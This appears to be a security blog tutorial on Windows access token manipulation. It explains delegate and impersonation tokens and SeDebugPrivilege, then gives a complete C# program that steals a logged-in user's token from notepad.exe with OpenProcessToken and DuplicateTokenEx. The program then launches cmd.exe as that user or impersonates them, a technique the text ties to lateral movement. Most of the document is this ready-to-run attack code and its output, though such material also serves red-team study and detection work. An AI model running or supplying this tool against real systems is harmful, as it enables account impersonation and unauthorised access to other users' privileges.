Access Token Manipulation

Access Tokens

When a user logs into a Windows computer, their identity is verified by the Local Security Authority (LSA). On successful authentication, the system creates an access token.

Every process executed by the user has a copy of this access token. The token includes information describing the identity of the user, and their associated privileges.

If an attacker can make a copy of a user’s access token, they can then impersonate that user.

This technique could be used to impersonate logged in domain accounts to perform lateral movement across a network.

Access Token Types

There are two types of access token;

  • Delegate tokens – typically used for interactive logins.
  • Impersonation tokens – apply to non interactive logins, such as accessing a SMB share. The access token can be passed to the server system to act on behalf of the user. Impersonation tokens can only be associated with threads, not processes.

Getting the Current Identity

First, let’s determine what our current user identity is.

        static void GetIdentity()
        {
            var identity = WindowsIdentity.GetCurrent();

            Console.WriteLine("Current User");
            Console.WriteLine("--------------");
            Console.WriteLine("SID:\t" + identity.User);
            Console.WriteLine("Name:\t" + identity.Name);
        }

This should produce the following output:

--------------
Current User
--------------
[+] SID:        S-1-5-18
[+] Name:       NT AUTHORITY\SYSTEM

SeDebugPrivilege

By default users can only read memory from processes they started. Getting a copy of a users access token will require us to read memory from one of their processes.

In order to read memory for processes started by other users, the SeDebugPrivilege is required. Running “whoami /all” should show the status of this privilege:

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Disabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

SeDebugPrivilege is typically granted to local administrators or the SYSTEM account.

Duplicating an Access Token

To duplicate a users access token, we need to identify a process they are running, then perform the following steps;

Alternatively the user can be impersonated with ImpersonateLoggedOnUser, instead of CreateProcessWithTokenW. This will impersonate the user in the context of the current thread. New processes spawned will not keep the user context.

OpenProcessToken

The below code finds the PID of notepad.exe and opens the processes access token:

                Process[] TargetProcess = Process.GetProcessesByName("notepad");
                int pid = TargetProcess[0].Id;
                var currentProcess = Process.GetProcessById(pid);

                Console.WriteLine("[+] Retrieving target process PID ");
                Console.WriteLine("[+] PID: " + pid.ToString());

                Win32.Advapi.OpenProcessToken(currentProcess.Handle, (uint)Win32.Advapi.DesiredAccess.TOKEN_ALL_ACCESS, out accessToken);
                Console.WriteLine("[+] Opened process token: " + accessToken.ToString());

DuplicateTokenEx

Next, we duplicate the access token…

                var securityAttributes = new Win32.Advapi.SECURITY_ATTRIBUTES();
                Win32.Advapi.DuplicateTokenEx(accessToken, Win32.Advapi.TokenAccess.TOKEN_ALL_ACCESS, ref securityAttributes, Win32.Advapi.SecurityImpersonationLevel.SECURITY_IMPERSONATION, Win32.Advapi.TokenType.TOKEN_IMPERSONATION, out accessTokenDuplicate);
                Console.WriteLine("[+] Duplicated token: " + accessTokenDuplicate.ToString());

CreateProcessWithTokenW

CreateProcessWithTokenW can be called to start a process using the duplicated access token:

                // Run cmd.exe
                var pEnv = IntPtr.Zero;
                var startInfo = new Win32.Advapi.STARTUPINFO();
                var procInfo = new Win32.Advapi.PROCESS_INFORMATION();

                UnicodeEncoding unicode = new UnicodeEncoding();
                string name = "cmd.exe";
                string arguments = "";
                Byte[] unicodeapp = unicode.GetBytes(name);
                Byte[] unicodeargs = unicode.GetBytes(name + " " + arguments);
                bool success = Win32.Advapi.CreateProcessWithTokenW(
                    accessTokenDuplicate, // token
                    0, //dwLogon flags
                    unicodeapp, // application
                    unicodeargs, // arguments
                    Win32.Advapi.CreationFlags.NewConsole, 
                    IntPtr.Zero, 
                    null, 
                    ref startInfo, 
                    out procInfo);

ImpersonateLoggedOnUser

We can use ImpersonateLoggedOnUser to impersonate the token, however sub-processes won’t inherit these permissions.

            Win32.Advapi.ImpersonateLoggedOnUser(accessTokenDuplicate);
            var identity = new WindowsIdentity(accessTokenDuplicate);
            Console.WriteLine("[+] Impersonated token: " + identity.Name.ToString());

Program Output

From the program output, we can see the SYSTEM user has impersonated the “bordergate” user successfully, by stealing the access token from notepad.exe. A new command prompt is opened running as bordergate.


Code Listing

using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;

namespace TokenManipulation
{
    internal class Program
    {
        static void Main(string[] args)
        {
            GetIdentity();
            ImpersonateToken();
            Console.ReadLine();
        }

        static void ImpersonateToken()
        {
            try
            {
                var accessToken = IntPtr.Zero;
                var accessTokenDuplicate = IntPtr.Zero;
                Process[] TargetProcess = Process.GetProcessesByName("notepad");
                int pid = TargetProcess[0].Id;
                var currentProcess = Process.GetProcessById(pid);

                Console.WriteLine("[+] Retrieving target process PID ");
                Console.WriteLine("[+] PID: " + pid.ToString());

                Win32.Advapi.OpenProcessToken(currentProcess.Handle, (uint)Win32.Advapi.DesiredAccess.TOKEN_ALL_ACCESS, out accessToken);
                Console.WriteLine("[+] Opened process token: " + accessToken.ToString());

                var securityAttributes = new Win32.Advapi.SECURITY_ATTRIBUTES();
                Win32.Advapi.DuplicateTokenEx(accessToken, Win32.Advapi.TokenAccess.TOKEN_ALL_ACCESS, ref securityAttributes, Win32.Advapi.SecurityImpersonationLevel.SECURITY_IMPERSONATION, Win32.Advapi.TokenType.TOKEN_IMPERSONATION, out accessTokenDuplicate);
                Console.WriteLine("[+] Duplicated token: " + accessTokenDuplicate.ToString());

                var identity = new WindowsIdentity(accessTokenDuplicate);

                // Run cmd.exe
                Console.WriteLine("[+] Starting cmd.exe as user: \t" + identity.Name);

                var pEnv = IntPtr.Zero;
                var startInfo = new Win32.Advapi.STARTUPINFO();
                var procInfo = new Win32.Advapi.PROCESS_INFORMATION();

                UnicodeEncoding unicode = new UnicodeEncoding();
                string name = "cmd.exe";
                string arguments = "";
                Byte[] unicodeapp = unicode.GetBytes(name);
                Byte[] unicodeargs = unicode.GetBytes(name + " " + arguments);
                bool success = Win32.Advapi.CreateProcessWithTokenW(
                    accessTokenDuplicate,                   // token
                    0,                                      // dwLogon flags
                    unicodeapp,                             // application
                    unicodeargs,                            // arguments
                    Win32.Advapi.CreationFlags.NewConsole,  // creation flags
                    IntPtr.Zero, 
                    null, 
                    ref startInfo, 
                    out procInfo);

            }
            catch (Exception ex)
            {
                Console.WriteLine("An error occurred : " + ex);
            }
        }

        static void GetIdentity()
        {
            var identity = WindowsIdentity.GetCurrent();
            Console.WriteLine("--------------");
            Console.WriteLine("Current User");
            Console.WriteLine("--------------");
            Console.WriteLine("[+] SID:\t" + identity.User);
            Console.WriteLine("[+] Name:\t" + identity.Name);
        }
    }

    public class Win32
    {

        public class Advapi
        {

            [DllImport("advapi32.dll", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);

            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool OpenProcessToken(SafeProcessHandle ProcessHandle, TokenAccessLevels DesiredAccess, out SafeAccessTokenHandle TokenHandle);

            [DllImport("advapi32.dll")]
            public extern static bool DuplicateTokenEx(IntPtr hExistingToken,TokenAccess dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, SecurityImpersonationLevel ImpersonationLevel, TokenType TokenType,out IntPtr phNewToken);

            [DllImport("advapi32.dll")]
            public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint Bufferlength, IntPtr PreviousState, IntPtr ReturnLength);

            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool AdjustTokenPrivileges(SafeAccessTokenHandle TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, out uint ReturnLength);

            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);

            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            internal static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, Byte[] lpApplicationName, Byte[] lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

            public enum LogonFlags
            {
                WithProfile = 1,
                NetCredentialsOnly = 0
            }

            public enum CreationFlags
            {
                DefaultErrorMode = 0x04000000,
                NewConsole = 0x00000010,
                NewProcessGroup = 0x00000200,
                SeparateWOWVDM = 0x00000800,
                Suspended = 0x00000004,
                UnicodeEnvironment = 0x00000400,
                ExtendedStartupInfoPresent = 0x00080000
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct Startupinfo
            {
                public Int32 cb;
                public String lpReserved;
                public String lpDesktop;
                public String lpTitle;
                public Int32 dwX;
                public Int32 dwY;
                public Int32 dwXSize;
                public Int32 dwYSize;
                public Int32 dwXCountChars;
                public Int32 dwYCountChars;
                public Int32 dwFillAttribute;
                public Int32 dwFlags;
                public Int16 wShowWindow;
                public Int16 cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct ProcessInformation

            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public Int32 dwProcessId;
                public Int32 dwThreadId;
            }

            // This also works with CharSet.Ansi as long as the calling function uses the same character set.
            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
            public struct STARTUPINFO
            {
                public Int32 cb;
                public string lpReserved;
                public string lpDesktop;
                public string lpTitle;
                public Int32 dwX;
                public Int32 dwY;
                public Int32 dwXSize;
                public Int32 dwYSize;
                public Int32 dwXCountChars;
                public Int32 dwYCountChars;
                public Int32 dwFillAttribute;
                public Int32 dwFlags;
                public Int16 wShowWindow;
                public Int16 cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct PROCESS_INFORMATION
            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public int dwProcessId;
                public int dwThreadId;
            }

            [StructLayout(LayoutKind.Sequential)]
        public struct TOKEN_PRIVILEGES
        {
            private uint privilegeCount;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
            private LUID_AND_ATTRIBUTES[] privileges;

            public uint PrivilegeCount { get => privilegeCount; set => privilegeCount = value; }

            public LUID_AND_ATTRIBUTES[] Privileges { get => privileges; set => privileges = value; }
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LUID_AND_ATTRIBUTES
        {
            private LUID luid;
            private uint attributes;
            public LUID LUID { get => luid; set => luid = value; }
            public uint Attributes { get => attributes; set => attributes = value; }
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LUID
        {
            private uint lowPart;
            private int highPart;
            public uint LowPart { get => lowPart; set => lowPart = value; }
            public int HighPart { get => highPart; set => highPart = value; }
        }

        [StructLayout(LayoutKind.Sequential)]
            public struct SECURITY_ATTRIBUTES
            {

                public int nLength;
                public IntPtr lpSecurityDescriptor;
                public int bInheritHandle;
            }

            public enum DesiredAccess : uint

            {
                STANDARD_RIGHTS_REQUIRED = 0x000F0000,
                STANDARD_RIGHTS_READ = 0x00020000,
                TOKEN_ASSIGN_PRIMARY = 0x0001,
                TOKEN_DUPLICATE = 0x0002,
                TOKEN_IMPERSONATE = 0x0004,
                TOKEN_QUERY = 0x0008,
                TOKEN_QUERY_SOURCE = 0x0010,
                TOKEN_ADJUST_PRIVILEGES = 0x0020,
                TOKEN_ADJUST_GROUPS = 0x0040,
                TOKEN_ADJUST_DEFAULT = 0x0080,
                TOKEN_ADJUST_SESSIONID = 0x0100,
                TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY),
                TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |  TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID)
            }


            public enum TokenAccess : uint

            {
                TOKEN_ASSIGN_PRIMARY = 0x0001,
                TOKEN_DUPLICATE = 0x0002,
                TOKEN_IMPERSONATE = 0x0004,
                TOKEN_QUERY = 0x0008,
                TOKEN_QUERY_SOURCE = 0x0010,
                TOKEN_ADJUST_PRIVILEGES = 0x0020,
                TOKEN_ADJUST_GROUPS = 0x0040,
                TOKEN_ADJUST_DEFAULT = 0x0080,
                TOKEN_ADJUST_SESSIONID = 0x0100,
                TOKEN_ALL_ACCESS_P = 0x000F00FF,
                TOKEN_ALL_ACCESS = 0x000F01FF,
                TOKEN_READ = 0x00020008,
                TOKEN_WRITE = 0x000200E0,
                TOKEN_EXECUTE = 0x00020000
            }
            public enum TokenType

            {
                TOKEN_PRIMARY = 1,
                TOKEN_IMPERSONATION
            }
            public enum SecurityImpersonationLevel
            {
                SECURITY_ANONYMOUS,
                SECURITY_IDENTIFICATION,
                SECURITY_IMPERSONATION,
                SECURITY_DELEGATION
            }

        }

    }

}